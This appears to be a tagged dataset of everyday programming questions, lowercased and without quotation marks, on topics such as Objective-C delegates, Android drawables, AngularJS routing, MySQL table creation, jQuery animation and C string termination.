assigning to  id<delegate>  from incompatible type class __strong  in the following code  delegating a method to <code>uiview</code> subclass.<br> but  the error <code>assigning to  id&lt;delegate&gt;  from imcompatible type class __strong</code> occurs.    how do i fix it to run <code>-delegatemethod</code>     viewcontroller.h   <pre><code>@protocol mydelegate &lt;nsobject&gt; - (void)delegatemethod; @end  @interface detailviewcontroller : uiviewcontroller @property (nonatomic  assign) id&lt;mydelegate&gt; delegate; @end </code></pre>   viewcontroller.m   <pre><code>- (void)viewdidload {     customview *customview = [[customview alloc]init];     self.delegate = customview; //assigning to  id&lt;delegate&gt;  from imcompatible type class __strong     [self.view addsubview:customview]; } </code></pre>   customview.h   <pre><code>@interface customview : uiview </code></pre>   customview.m   <pre><code>@interface customview () &lt;mydelegate&gt;  - (void)delegatemethod {     nslog(@ succeeded ); } </code></pre>   otherviewcontroller.m   <pre><code>@interface otherviewcontroller () &lt;mydelegate&gt;  - (void)amethod {     viewcontroller *vc = [[viewcontroller alloc]init];     vc.delegate = self; } </code></pre>,objective-c
bitmap drawable not work on android < 5  i m try to make a color icon by bitmap drawable on the menu. i ve download the icon from <a href= https://www.google.com/design/icons/  rel= nofollow >https://www.google.com/design/icons/</a>     here is my drawable  ic_menu_search.xml:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;bitmap   xmlns:android= http://schemas.android.com/apk/res/android    android:src= @drawable/ic_search_black_24dp    android:dither= true    android:tilemode= repeat    android:tint= @color/colorprimarydark /&gt; </code></pre>   here is my menu.xml:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;menu   xmlns:android= http://schemas.android.com/apk/res/android    xmlns:app= http://schemas.android.com/apk/res-auto &gt;   &lt;item android:id= @+id/search      android:title= search      android:icon= @drawable/ic_menu_search      app:showasaction= collapseactionview|ifroom      app:actionviewclass= android.support.v7.widget.searchview  /&gt; &lt;/menu&gt; </code></pre>   the color:   <pre><code>&lt;color name= colorprimarydark &gt;#0072c6&lt;/color&gt; </code></pre>   it s work perfect on android 5.0 and above  the icon display in #0072c6 color. but on android &lt; 5.0 it s still black as default.    any idea,android
iphone gps cllocation lock   how do i go about in an iphone app  getting the user to click a button to find their location  with the cllocation automatically locking or stopping when a good enough results is found after a few seconds     is there a function or an algorithm     ie: if it finds a location with accuracy of 5m  stop  or stop after 15 seconds of trying.,iphone
how to check for error validation for many values when parsing ints and enums  i am currently working on a mini project and i can t seem to understand how to check for error validation if the user enters a string when trying to parse for int and enums.    i am new to c# and it is taking me quite the hassle to figure out how to make something without making the code big and messy.    this is the example of the values:   <pre><code>int.tryparse(coordinates[0]  out int x); int.tryparse(coordinates[1]  out int y); direction d = (direction)enum.parse(typeof(direction)  coordinates[2]); //values of startx to be added  int.tryparse(coordinates[3]  out int x); int.tryparse(coordinates[4]  out int y); direction d = (direction)enum.parse(typeof(direction)  coordinates[5]); //values of endx to be added </code></pre>   how to make sure the user only enters an int value for x  y  x and y. and enum values for d and d     thanks.,c#
angularjs error remove # url  i m trying remove from my url #  but when i add <code>$locationprovider.html5mode(true);</code> and my app.js and <code>&lt;base href= / &gt;</code> on my html  i get an error from angularjs:   <blockquote>    uncaught error: [$injector:modulerr] <a href= http://errors.angularjs.org/1.5.0/  rel= nofollow >http://errors.angularjs.org/1.5.0/</a>$injector/modulerr p0=appdj&amp;p1=typeerror%…oogleapis.com%2fajax%2flibs%2fangularjs%2f1.5.0%2fangular.min.js%3a20%3a69)   </blockquote>  <pre class= lang-js prettyprint-override ><code>var appdj = angular.module( appdj   [ ngroute ]);  appdj.config([ $routeprovider   function($routeprovider  $locationprovider) {     $routeprovider      .when( /   {         templateurl:  views/home.html           controller:  maincrtl      })      .when( /login   {         templateurl:  views/login.html      })      .when( /register   {         templateurl:  views/register.html      })      .otherwise({         redirectto:  /      })     $locationprovider.html5mode(true);  }]);   appdj.controller( maincrtl   function ($scope){   }); </code></pre>,angularjs
mobile page being cut off at the top  i created and hosted a jekyll website on github-pages using the html5 up alpha theme found on  html5up.net/alpha     for some reason  pages are being cut off at the top on mobile only. i ve gone through the mobile css but i have been unable to locate any issues.     the site mobile css can be viewed here:   <blockquote>    <a href= http://pastebin.com/jwnwpxyf  rel= nofollow >http://pastebin.com/jwnwpxyf</a>  </blockquote>   and a screenshot of the problem can be seen here:   <blockquote>    <a href= http://imgur.com/zpycfnh  rel= nofollow >http://imgur.com/zpycfnh</a>  </blockquote>,css
session variable returning null ...after couple of postbacks..though user session is valid  i have logged in to the application (in development environment) with my userid and pswd... i am using session variables in the application..in order to access some values across different pages. though my session didnt time out  my session variables are becoming null after a while...can some one please help me with this..    thanks,.net
how to bring back library functions which have been deleted   suppose i do this   <pre><code>import cmath del cmath cmath.sqrt(-1) </code></pre>   i get this   <pre><code>traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; nameerror: name  cmath  is not defined </code></pre>   but when i import <code>cmath</code> again  i am able to use <code>sqrt</code> again   <pre><code>import cmath cmath.sqrt(-1) 1j </code></pre>   but when i do the following   <pre><code>import cmath del cmath.sqrt cmath.sqrt(-1) </code></pre>   i get this   <pre><code>traceback (most recent call last):   file  &lt;stdin&gt;   line 1  in &lt;module&gt; attributeerror:  module  object has no attribute  sqrt  </code></pre>   even when i import <code>cmath</code> again  i get the same error.    is it possible to get <code>cmath.sqrt</code> back     thanks!,python
possibility of using same avd for different applications   is it possible to use same avd(android virtual device) for different applications in eclipse ide,android
having trouble with the fibonacci sequence  so i recently discovered this site (<a href= https://projecteuler.net  rel= nofollow >https://projecteuler.net</a>). the second problem asks you to find the sum of all even fibonacci numbers less than four million. i tried to use my limited javascript to solve this for me  but it doesn t seem to be working at all. here is the jsfiddle: <a href= http://jsfiddle.net/ophunt/pnf24j7q/3/  rel= nofollow >http://jsfiddle.net/ophunt/pnf24j7q/3/</a>    here is the javascript contained therein:   <pre><code>//variables here var sum = 0; var fiba = 1; var fibb = 1; var store = 0;  //main loop while (fiba &lt; 4000000) {     store = fiba;     fiba += fibb;     fibb = store;     if (fiba % 2 === 0) {         sum += fiba;     } }  document.getelementbyid( result ).innerhtml = sum; </code></pre>,javascript
error 1005 (hy000): can t create table  tracker_phonetracker.location_share  (errno: -1)  i am facing this problem in this query .   <pre><code>create table location_share (      circle_id int       user_id int        location_sharing_id  int        primary key (user_id  circle_id  )        constraint fkcircle1 foreign key (circle_id) references circle(id) on delete cascade on update cascade        constraint fkuser1 foreign key (user_id) references user(id) on delete cascade on update cascade        constraint fksharing_policy foreign key (location_sharing_id) references share(id) on delete cascade on update cascade  ) engine = innodb  </code></pre>   mysql shows me error 1005 :   <blockquote>    error 1005 (hy000): can t create table    tracker_phonetracker.location_share  (errno: -1)  </blockquote>   other tables on which this query is dependent are :    table : circle    <pre><code>create table circle (     id int auto_increment primary key        name varchar(35) ) engine=innodb </code></pre>   table  : user    <pre><code>create table user (     id int auto_increment primary key        contact_no varchar(25) unique not null       email varchar(50) unique  not     null       first_name  varchar(25) not null        last_name varchar(25)        device_id varchar(250)not null         image_path varchar(180)        password varchar(30) not null        latitude varchar(18)        longitude varchar(18)  ) engine=innodb </code></pre>   table : share    <pre><code>create table share (     id int auto_increment primary key        policy varchar(6) unique not null  ) </code></pre>   can anybody plz tell me what s wrong with my query .    thanks !!,mysql
load and unload a page into a div from a navigation button  can anyone tell me in the simplest code possible  how to load and unload an html page into a div named  mydiv   with a simple click      when i press another button on my navigation menu  i will then unload  mydiv  and replace with another page.      whats the setup for this     <em>edit</em>    i have 3 pages (page1.html  page2.html  page3.html)    my navigation is as follows:   <pre><code>&lt;ul&gt;   &lt;li&gt;&lt;a href= page1.html &gt;&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&lt;a href= page2.html &gt;&lt;/a&gt;&lt;/li&gt;   &lt;li&gt;&lt;a href= page3.html &gt;&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   i am trying to load those pages into  mydiv   each page replacing the previous loaded page everytime i click a different page button. thats all.     i hope i made what im trying to do clear as crystal and hopefully not leaving anything important out.,html
"angularjs  updating scope between controllers and html  i have built a service that is keeping track of the id of a record within a telerik grid.  on selecting a row in the grid the service successfully fires and updates the data.  my problem is that the controller that handles my navigation doesn t see the change and i don t fully understand how to accomplish this as i am fairly new to angularjs and front end development.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>app
   .controller( findcardctrl   [ $scope    $http    navservice   function($scope  $http  navservice) {
 
 
     $http.get( ../../sampledata/carddata.json ).then(function(data) {
 
       var cardobj = data.data.cards;
 
 
       var grid = $( #grid ).kendogrid({
         datasource: {
           data: cardobj.card 
         } 
         columns: [{
             hidden: true 
             field:  id 
           } 
           {
             field:  card_number  
             title:  card number 
           } 
           {
             field:  name_on_card  
             title:  name on card 
           } 
           {
             field:  billing_zip_code  
             title:  billing zip code 
           } 
           {
             field:  balance  
             title:  balance 
           }
         ] 
         norecords: true 
         editable: false 
         sortable: true 
         reorderable: true 
         selectable:  row  
         change: function(e) {
           var selectedrows = this.select();
 
           var selecteddataitems = [];
           for (var i = 0; i &lt; selectedrows.length; i++) {
             var dataitem = this.dataitem(selectedrows[i]);
             selecteddataitems.push(dataitem);
           }
 
           navservice.setcardid(selecteddataitems[0].id);
 
         } 
         pageable: {
           pagesize: 20 
           previousnext: true 
           input: true 
           buttoncount: 5 
           pagesizes: [20  30  40   all ] 
           info: true 
           messages: {
             page:  enter page 
           }
         } 
         filterable: {
           mode:  menu  
           ignorecase: true 
           operators: {
             string: {
               eq:  equal to  
               contains:  contains  
               startswith:  begins with 
             } 
             date: {
               eq:  equal to  
               gt:  after  
               lt:  before  
               eq:  equals  
               gte:  after or equal to  
               lte:  before or equal to 
             }
           }
         }
       });
     });
   }]);</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code> use strict ;
 
 
 app
   .controller( navctrl   [ $scope    $http    navservice   function($scope  $http  navservice) {
     $scope.oneatatime = false;
 
     //$http.get( ../../sampledata/carddata.json ).then(function (data) {
     //var card = getobjects(data   id   navservice.carddata.cardid);
 
     //  });
     $scope.$on( card-selected   function(event  navservice) {
       console.log(navservice.carddata.cardid);
     });
     //  console.log(navservice.carddata.cardid);
     //$scope.cardid = navservice.carddata.cardid;
 
     $scope.status = {
       isfirstopen: true
     };
   }]);
 
 
 
 function getobjects(obj  key  val) {
   var objects = [];
   for (var i in obj) {
     if (!obj.hasownproperty(i)) continue;
     if (typeof obj[i] ==  object ) {
       objects = objects.concat(getobjects(obj[i]  key  val));
     } else if (i == key &amp;&amp; obj[key] == val) {
       objects.push(obj);
     }
   }
   return objects;
 }</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code> use strict ;
 
 /**
  * @ngdoc overview
  * @name backofficeapp
  * @description
  * # backofficeapp
  *
  * main module of the application.
  */
 
 /*jshint -w079 */
 
 var app = angular
   .module( backofficeapp   [
      nganimate  
      ngcookies  
      ngresource  
      ngsanitize  
      ngtouch  
      ngmessages  
      picardy.fontawesome  
      ui.bootstrap  
      ui.router  
      ui.utils  
      angular-loading-bar  
      angular-momentjs  
      kendo.directives  
      fbangular  
      lazymodel  
      angularbootstrapnavtree  
      angularfileupload  
      oc.lazyload  
      ui.select  
      ui.tree  
      ui.calendar  
      pascalprecht.translate  
      ngmaterial  
      localytics.directives  
      ipsum  
      angular-intro  
      dragularmodule 
   ])
   .run([ $rootscope    $state    $stateparams   function($rootscope  $state  $stateparams) {
     $rootscope.$state = $state;
     $rootscope.$stateparams = $stateparams;
     $rootscope.$on( $statechangesuccess   function(event  tostate) {
 
       event.targetscope.$watch( $viewcontentloaded   function() {
 
         angular.element( html  body  #content ).animate({
           scrolltop: 0
         }  200);
 
         settimeout(function() {
           angular.element( #wrap ).css( visibility    visible );
 
           if (!angular.element( .dropdown ).hasclass( open )) {
             angular.element( .dropdown ).find( &gt;ul ).slideup();
           }
         }  200);
       });
       $rootscope.containerclass = tostate.containerclass;
     });
   }])
 
   .config([ uiselectconfig   function(uiselectconfig) {
     uiselectconfig.theme =  bootstrap ;
   }])
 
   //angular-language
   .config([ $translateprovider   function($translateprovider) {
     $translateprovider.usestaticfilesloader({
       prefix:  languages/  
       suffix:  .json 
     });
     $translateprovider.uselocalstorage();
     $translateprovider.preferredlanguage( en );
     $translateprovider.usesanitizevaluestrategy(null);
   }])
   .config([ $provide   function($provide) {
     $provide.factory( navservice   function($q) {
       var dataholder = {};
       //it s important that you use an object or an array here a string or other
       //primitive type can t be updated with angular.copy and changes to those
       //primitives can t be watched.
       dataholder.carddata = {
          cardid :  0 
       };
 
       dataholder.setcardid = function(id) {
         var deferred = $q.defer();
         var cardid = id;
         angular.copy(cardid  dataholder.carddata);
 
         deferred.resolve(dataholder.carddata);
         return deferred.promise;
       }
       return dataholder;
     })
 
   }])</code></pre>
 </div>
 </div>
     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= sidebar-wrap  ng-controller= navctrl &gt;
   &lt;uib-accordion close-others= oneattime  slimscroll= {height:  100% } &gt;
     &lt;div uib-accordion-group is-open= status.isfirstopen  class= panel-default &gt;
 
       &lt;ul id= navigation  nav-collapse ripple&gt;
         &lt;li ui-sref-active= active &gt;
           &lt;a ui-sref= client.dashboard &gt;
             &lt;fa name= dashboard &gt;&lt;/fa&gt; &lt;span&gt;{{  menu.dashboard | translate }}&lt;/span&gt;&lt;/a&gt;
         &lt;/li&gt;
         &lt;li ui-sref-active= active  ng-class= { open :$state.includes( client.order )} &gt;
           &lt;a ui-sref= client.order &gt;
             &lt;fa name= shopping-cart &gt;&lt;/fa&gt; &lt;span&gt;{{  menu.order_management  | translate }}&lt;/span&gt;&lt;/a&gt;
           &lt;ul&gt;
             &lt;li ui-sref-active= active &gt;
               &lt;a ui-sref= client.order_management.new &gt;
                 &lt;fa name= caret-right &gt;&lt;/fa&gt; {{  menu.new_order  | translate }}&lt;/a&gt;
             &lt;/li&gt;
             &lt;li ui-sref-active= active &gt;
               &lt;a ui-sref= client.order_management.history &gt;
                 &lt;fa name= caret-right &gt;&lt;/fa&gt; {{  menu.history  | translate }}&lt;/a&gt;
             &lt;/li&gt;
             &lt;li ui-sref-active= active &gt;
               &lt;a ui-sref= client.order_management.cancel &gt;
                 &lt;fa name= caret-right &gt;&lt;/fa&gt; {{  menu.cancel  | translate }}&lt;/a&gt;
             &lt;/li&gt;
           &lt;/ul&gt;
         &lt;/li&gt;
         &lt;li ui-sref-active= active  ng-class= { open :$state.includes( client.card )} &gt;
           &lt;a ui-sref= client.card &gt;
             &lt;fa name= credit-card &gt;&lt;/fa&gt; &lt;span&gt;{{  menu.card_management  | translate }}&lt;/span&gt;&lt;/a&gt;
           &lt;ul&gt;
             &lt;li ui-sref-active= active &gt;
               &lt;a ui-sref= client.card_management.find &gt;
                 &lt;fa name= search &gt;&lt;/fa&gt; {{  menu.find_card  | translate }}&lt;/a&gt;
             &lt;/li&gt;
           &lt;/ul&gt;
           &lt;ul ng-if= cardid &gt; 0 &gt;
             &lt;li ui-sref-active= active &gt;
               &lt;a ui-sref= client.card_management.summary({cardid: cardid}) &gt;
                 &lt;fa name= caret-right &gt;&lt;/fa&gt; {{  menu.summary | translate }} &lt;/a&gt;
             &lt;/li&gt;
           &lt;/ul&gt;
         &lt;/li&gt;
       &lt;/ul&gt;
     &lt;/div&gt;
   &lt;/uib-accordion&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",angularjs
does enabling keychain sharing alter your appid   i notice when i enable keychain sharing in xcode for my ios app xcode says it will  add the keychain sharing entitlement to your app id   and it does appear to connect to my account because i get a popup asking which developer account to use. however on the dev portal there s no visible change to any of my app ids  and my provisioning profile isn t invalidated like it sometimes is when i change an app s entitlements. keychain sharing isn t a visible option to enable/disable in the app id  either.    does anyone know what xcode is doing under the covers here  the local change to the entitlements file is obvious  but i d like to understand the app id side of it.,ios
how to move & re-size div with smooth effect  i was trying to move div from bottom-right corner to center of the page and it was working but effect was not very soothing and was not very smooth. so i add this code to make it smooth in animate function <code>{ duration: 500  queue: false  easing:  easeincubic }</code> but after that my code is not working. here i am giving my full code. just see and tell me what is wrong there for which my code is not running.    also tell me how could i move &amp; resize my div in such a way as a result it should looks very smooth.    here is my code   <pre><code>$(document).ready(function () {         $( #button1 ).click(function () {             $( form #upscontainer ).each(function () {                 $(this).remove();             });              $( form ).append( &lt;div id= upscontainer  class= hidden  style= background:red;display:none;position:absolute &gt;&lt;/div&gt; );             if ($( #upscontainer ).exists() == true) {                 $( #upscontainer ).css({ height: 0  width: 0  display:  block  });                  var xleft = ($(window).width() - $( #upscontainer ).width());                 var xtop = ($(window).height() - $( #upscontainer ).height());                  $( #upscontainer ).css({ left: xleft  top: xtop  opacity: 0 });                  $( #upscontainer ).stop(true).animate({                      left : (($(window).width() - $( #upscontainer ).width()) / 2) +  px                        top : (($(window).height() - $( #upscontainer ).height()) / 2) +  px                        height : 100 +  px                        width : 100 +  px                        marginleft :  -50px                        margintop :  -50px                        opacity :  1                  }  { duration: 500  queue: false  easing:  easeincubic }                   function () {                     //$( #feed_dialog ).removeclass( busystyles ).find( #acloginpod ).fadein(2000);                     //  opacity: 1                  });              }             return false;         });           jquery.fn.exists = function () { return this.length &gt; 0; }     }); </code></pre>   js fiddle link <a href= http://jsfiddle.net/p4e4psg4/2/  rel= nofollow >http://jsfiddle.net/p4e4psg4/2/</a>    so i have two concern. one is why this line <code>{ duration: 500  queue: false  easing:  easeincubic }</code> giving error      next very important is how could i have the animation with smooth effect  please help. thanks   <h2>edit</h2>   see my script at js fiddle <a href= http://jsfiddle.net/tridip/pbyjkuxu/  rel= nofollow >http://jsfiddle.net/tridip/pbyjkuxu/</a> the script is not running after adding this line <code>{ duration: 500  queue: false  easing:  easeincubic }</code>    here i am giving another js fiddle link where a div is resizing but not positioning. just see the how smoothly a div is getting resizing <a href= http://jsfiddle.net/tridip/d5sun/  rel= nofollow >http://jsfiddle.net/tridip/d5sun/</a>    i want the same smoothness in my div animation. please help. thanks,jquery
javascript syntax issue  here is my <a href= http://jsfiddle.net/uttxa/26/  rel= nofollow ><strong>jsfiddle</strong></a>    its on the phone method  no the name one    now is this line right  i only want it to be true if the first 3 letters are 087   <pre><code>var rightstarting3 = value.substring(0 2) == (087);    if (blankpass || lessthan10 ||  rightstarting3 || greaterthan10 || (hasspaces &gt; 0))   {      document.getelementbyid( phone ).style.background =  red ;     return false;  }      else {     document.getelementbyid( phone ).style.background =  white ;     document.getelementbyid( phonetick ).style.visibility= visible ;     return true;   } </code></pre>,javascript
show message when web service is down  how to show the custom message when the web service which is use in web application is down.,asp.net
splitting a string up into individual words and placing them in a vector  i want to be able to place each individual word of the string of any size into a vector. this is what i have so far:   <pre><code>vector &lt;string&gt; broken; while(choice !=    ){     int space = choice.find(   )-1;     string word = choice.substr(0 space);     broken.push_back(word);     choice = choice.substr(space+1);``     cout &lt;&lt; choice; </code></pre>   }    any help would be greatly appreciated!,c++
jquery: select next input even though in different fieldset  i have the following html page:   <pre><code>&lt;form action= editprofile  id= userinformation &gt; &lt;fieldset id= birthdate &gt; &lt;label&gt;&lt;input type= text  id= day  maxlength= 2 /&gt;/&lt;input type= text  id= month  maxlength= 2 /&gt;/&lt;input type= text  id= year  maxlength= 2 /&gt; &lt;/fieldset&gt; &lt;fieldset&gt; &lt;label&gt;name&lt;/label&gt;&lt;input type= text  id= name /&gt; &lt;/fieldset&gt; &lt;/div&gt; </code></pre>   now i d like to always jump to the next inputfield. i ve tried:   <pre><code>$( #birthdate input[type=text] ).keyup(function(e){     if($(this).val().length == $(this).attr( maxlength )){         $(this).next( :input ).focus();     }    }); </code></pre>   but that seems to stay within the fieldset. and nextall doesn t seem to work or i m using it wrong.    edit: my solution so far:   <pre><code>        if($(this).val().length == $(this).attr( maxlength )){             if($(this).parent().children().last().attr( id ) == $(this).attr( id )){                 $(this).parent().next().find( :input ).focus();             }else{                 $(this).next( input ).focus();             }         } </code></pre>,jquery
when to specify elements for classes  <pre><code>/*input boxes ( input ) */   .toggle_border_show{   border: 1px solid #cccccc; } .toggle_border_obscure{   border: 1px solid #888888; } .toggle_border_hide{   border: 1px solid #444444; } </code></pre>   i noticed that these classes are only used on input elements.    should i have pre-fixed them with input as such   <pre><code>/*input boxes ( input ) */   input.toggle_border_show{   border: 1px solid #cccccc; } input.toggle_border_obscure{   border: 1px solid #888888; } input.toggle_border_hide{   border: 1px solid #444444; } </code></pre>   does it matter,css
memory layout and variable declaration order  consider this intentionally broken program  modified from <a href= http://c.learncodethehardway.org/book/ex8.html  rel= nofollow >zed shaw s c tutorial</a>  which creates a char array and leaves of the terminating <code>\0</code>:   <pre><code>#include &lt;stdio.h&gt;  int main(int argc  char *argv[]) {   char name[] =  zed ;   char full_name[] = {      z    e    d             a    .             s    h    a    w    };    printf( name=\ %s\  and full_name=\ %s\ \n   name  full_name);    return 0; } </code></pre>   the output is:   <pre class= lang-none prettyprint-override ><code>name= zed  and full_name= zed a. shawzed  </code></pre>   and zed s comments suggest this output is expected  ie  the memory seems to be laying out <code>full_name</code> first and then <code>name</code>  contiguously.  is this behavior specified in c   does the compiler always layout the memory in reverse order   if not  what is the principle he s depending on     if we switch the order in which we declare the variables:   <pre><code>char full_name[] = {      z    e    d             a    .             s    h    a    w  }; char name[] =  zed ; </code></pre>   then we get the expected garbage characters at the end of the unterminated char array:   <pre class= lang-none prettyprint-override ><code>name= zed  and full_name= zed a. shaw4¦h4¦¦+  </code></pre>,c
radio group functionality  on my aspxgrid  i have two columns: approve and deny. both the columns are of boolean type (radio buttons).    in a particular row  if a user selects the radio button for the approve column then the radio button for the deny column should be unselected and vice versa.    i also have a header radio button for each  of these columns. if the header radio button is selected  then the corresponding radio buttons from that column should be selected and all the radio buttons from the other columns should be unselected.    i am dynamically creating these radio buttons for each column.   <pre><code>&lt;dataitemtemplate&gt;     &lt;dx:aspxradiobutton id= chkappdataitem  runat= server &gt;     &lt;/dx:aspxradiobutton&gt; &lt;/dataitemtemplate&gt;  &lt;headercaptiontemplate&gt;       &lt;dx:aspxradiobutton id= chkappheader  runat= server &gt;       &lt;/dx:aspxradiobutton&gt; &lt;/headercaptiontemplate&gt; </code></pre>   can i achieve this functionality with javascript,asp.net
how to fetch data-attribute in foreach loop of a select-element  <pre><code>&lt;tr class= font-titlerow &gt;     &lt;td class= fontname-col &gt;     &lt;select&gt;     &lt;option data-fontfamily= abel  value= 1 &gt;abel&lt;/option&gt;     &lt;option data-fontfamily= arial  value= 2 &gt;arial&lt;/option&gt;     &lt;option data-fontfamily= arial+black  value= 3 &gt;arial black&lt;/option&gt;     &lt;/select&gt; &lt;/td&gt; &lt;/tr&gt;  &lt;tr class= font-titlerow &gt;     &lt;td class= fontname-col &gt;     &lt;select&gt;     &lt;option data-fontfamily= abel  value= 1 &gt;abel&lt;/option&gt;     &lt;option data-fontfamily= arial  value= 2 &gt;arial&lt;/option&gt;     &lt;option data-fontfamily= arial+black  value= 3 &gt;arial black&lt;/option&gt;     &lt;/select&gt; &lt;/td&gt; &lt;/tr&gt; </code></pre>   how do i loop this above select and fetch the data-fontfamily in jquery    <pre><code>$( tr.font-titlerow ).each(function(index) {            var drow = $(this);      var fontselect =drow.find( td.fontname-col ).find( select );     var fontname = fontselect.val(); //this gives the value... (1 2 or 3 in example)     var fontfamily = fontselect.attr( data-fontfamily ); //does not work (obviously)   } </code></pre>,jquery
uiimagepickercontroller allowsediting hangs  when i set <code>allowsediting</code> to <code>yes</code> on the image picker  the controller hangs after i hit  choose .    while the repro is not consistent  it tends to happen when the app is busy in the background getting data from the server. looking at the stack  the pl seems to be having a deadlock while saving an image in the background.    the delegate is simply not called. so it is not in the handler s code.    i added logic to dismiss the on low-memory warnings etc. yet i am still getting these occasional (way too frequent to my taste) freezes.    has anyone seen that  any known workaround  i have been googling this to no avail.    the pertinent thread stacks are below:   <pre><code>ui (thread 0):  #0  0x312aec00 in mach_msg_trap #1  0x312ae75e in mach_msg #2  0x329cb2be in __cfrunloopservicemachport #3  0x329cd568 in __cfrunlooprun #4  0x3295dec2 in cfrunlooprunspecific #5  0x3295ddca in cfrunloopruninmode #6  0x30c0541e in gseventrunmodal #7  0x30c054ca in gseventrun #8  0x35bd3d68 in -[uiapplication _run] #9  0x35bd1806 in uiapplicationmain #10 0x00003a38 in main at main.m:9  thread 6:  #0  0x312aec74 in **semaphore_timedwait_signal_trap** #1  0x312aef4c in semaphore_timedwait_signal #2  0x367f4818 in _pthread_cond_wait #3  0x367f4a04 in pthread_cond_timedwait_relative_np #4  0x325f4a54 in -[nscondition waituntildate:] #5  0x325ee9ba in -[nsconditionlock lockwhencondition:beforedate:] #6  0x325ee906 in -[nsconditionlock lockwhencondition:] #7  0x31dc87a0 in -[plimageloadingthread _run] #8  0x325d8388 in -[nsthread main] #9  0x3264a5cc in __nsthread__main__ #10 0x367cd310 in _pthread_start  thread 7:  #0  0x312b0d18 in __semwait_signal #1  0x367f4866 in _pthread_cond_wait #2  0x3679beb8 in pthread_cond_wait #3  0x325e590a in -[nscondition wait] #4  0x325c781c in -[nsobject(nsthreadperformadditions) performselector:onthread:withobject:waituntildone:modes:] #5  0x32649b86 in -[nsobject(nsthreadperformadditions) performselectoronmainthread:withobject:waituntildone:modes:] #6  0x31e421fa in -[plcropoverlay(photosaving) _backgroundsavephoto:] #7  0x325d8388 in -[nsthread main] #8  0x3264a5cc in __nsthread__main__ #9  0x367cd310 in _pthread_start </code></pre>,ios
how make a sql query with results of previous id   i have this query   <pre><code>select thread_id  count(message)  from xf_post  group by message  having count(message) &gt; 1  </code></pre>   and result of thread_id s and count s .     <strong>question:</strong> how to make query to delete rows from other table with this thread_id s,sql
save a file and name it at the  same  time (naudio)  improving the accuracy  i want to make a wavefile  and write data to it  and i want the filename to be time it began.    i know hot to write to the wave file using wavewriter  and i know how to name it to the current time  the problem is however  to make it name the file as close as possible to the moment the audio is written.    currently i have something like this:   <pre><code>    private void savereceivedaudio(string recieve)     {         try         {             using (var folderbrowser = new folderbrowserdialog())             {                 dialogresult result = folderbrowser.showdialog();                 if (result == dialogresult.ok)                 {                     path = path.getfullpath(folderbrowser.selectedpath) + (path.directoryseparatorchar);                     wavewriter = new naudio.wave.wavefilewriter(path + recieve +  -   + datetime.now.tostring( yyyy-mm-dd hh-mm-ss-fff ) +  .wav   new waveformat(48000  16  2));                     wavewriteryour = new wavefilewriter(path + environment.username +   -   + datetime.now.tostring( yyyy-mm-dd hh-mm-ss-fff ) +  .wav   new waveformat(48000  16  2));                     record = true;                     recording.forecolor = system.drawing.color.green;                     recording.text =  recording ;                 }                 else                 {                     record = false;                     recording.forecolor = system.drawing.color.red;                     recording.text =  not recording ;                 }             }         }         catch (exception e)         {             messagebox.show( savereceivedaudio:   + e.message);         }     } </code></pre>   so as you can see i am clicking a button  choosing a directory  then it will create 2 files in this example at the moment it s created  then change record to true.    however  this isn t accurate at all  it s probably fairly close  but it all depends on how it s executed.    now  while i am saving another thread is on loop with the current audio data  which looks like this:   <pre><code> private void recordingqueuethread()         {             byte[] audiodata;             byte[] audiodata2;             while (connect)             {                 try                 {                     if (queue.trytake(out audiodata  300))                     {                         if (audiodata.length == 0)                             break;                         else                         {                             if (record)                             {                                 wavewriter.write(audiodata  0  audiodata.length);                                 wavewriter.flush();                                 testtimer += audiodata.length;                             }                         }                     }                     if (recqueue.trytake(out audiodata2  300))                     {                         if (audiodata.length == 0)                             break;                         else                         {                             if (record)                             {                                 wavewriteryour.write(audiodata  0  audiodata.length);                                 wavewriteryour.flush();                             }                         }                     }                 }                 catch (exception e)                 {                         messagebox.show( recording:   + e.message);                 }             }         } </code></pre>   or well  maybe not in a loop  but there are 2 threads feedins this.    but as you can see  as there are 2 threads(or more) that work independetly  the audio will not be at the time of the date i wrote earlier  it will be a bit later  and it can vary depending on  well  many thing  process time etc.    which makes this a problem.    best thing is if i can write the time exactly when the first data is written  i don t know how to do that however.    any ideas,c#
uitableview refuses to populate on my device  i am using a data.plist file to populate my uitableview/navigation-based application with data.  it works perfectly on the simulator  and it shows up all 261 names  with the subtitle.  the detail view also works 100%.    but  no matter what i do  reboot  clean  comment out  it refuses to show up on my device.  (iphone 3g  unfortunately.  soon to be iphone 4).    i have a footer on my table view that calculates the amount of cells and totals them up for me.   movies: 261  is what it shows.  yes  my app is an in-house only app that is my dvd index.    but  on the device  it shows  movies: 0  even though the data.plist is there  and everything should be working.    is there anything i m doing wrong   can anyone help me     thank-you.,iphone
how to join a table when the to be joined table is a variable in column  i have a table called <code>table1</code>.    the table contains columns like:   <ul> <li>the <code>sourceid</code> (<code>id</code> of the join)</li> <li>the <code>sourcetable</code> (the table to be joined table  this is variable)</li> </ul>   my query:   <pre><code>select t.category  j.tariff from table1 as t inner join t.sourcetable j ---- this needs to be changed on t.sourceid = j.id </code></pre>   is this possible      basically the source table can be different for every row,sql
ruby on rails migration not working  i initially ran a migration when i created the database and everything worked fine. then i went and deleted the table in postgresql manually. now when i run rake db:migrate  it runs but doesn t create the table.,ruby-on-rails
object literal and static variable  object literal are considered as static object.    so  object literal should contains only static variable but in the following piece of code   <pre><code>var obj = {     a :  hello       foo : function(){         console.log(this.a);         console.log(obj.a);     } }; </code></pre>   i can access <code>a</code>  in a static way <code>obj.a</code> and in a non static way <code>this.a</code>.     is <code>a</code> a static variable,javascript
